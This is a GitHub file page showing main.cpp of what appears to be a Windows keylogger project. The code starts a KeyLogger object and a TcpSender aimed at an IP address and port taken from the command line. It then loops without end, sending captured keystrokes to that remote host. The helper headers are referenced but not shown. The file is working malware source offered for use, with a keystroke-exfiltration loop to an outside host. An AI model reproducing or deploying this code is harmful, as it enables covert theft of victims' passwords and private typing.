-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
37 lines (27 loc) · 790 Bytes
/
main.cpp
File metadata and controls
37 lines (27 loc) · 790 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <iostream>
#include <string>
#include <Windows.h>
#include <fstream>
#include "KeyLogger.h"
#include "TcpSender.h"
using std::cout;
using std::endl;
using std::ofstream;
using std::string;
int CALLBACK WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
setlocale(LC_ALL, "Russian");
KeyLogger key;
if (__argc < 3){
cout << __argv[0] << "[ip] [port]!" << endl;
return -1;
}
string ip = string((const char*)__argv[1]);
int port = std::stoi(string((const char*)__argv[2]));
cout << "ip = " << ip << ", port = " << port << endl;
TcpSender* tcpSender = new TcpSender(ip, port);
while(true){
key.WriteEventKeys(tcpSender);
Sleep(1); //Calm down CPU :)
}
return 0;
}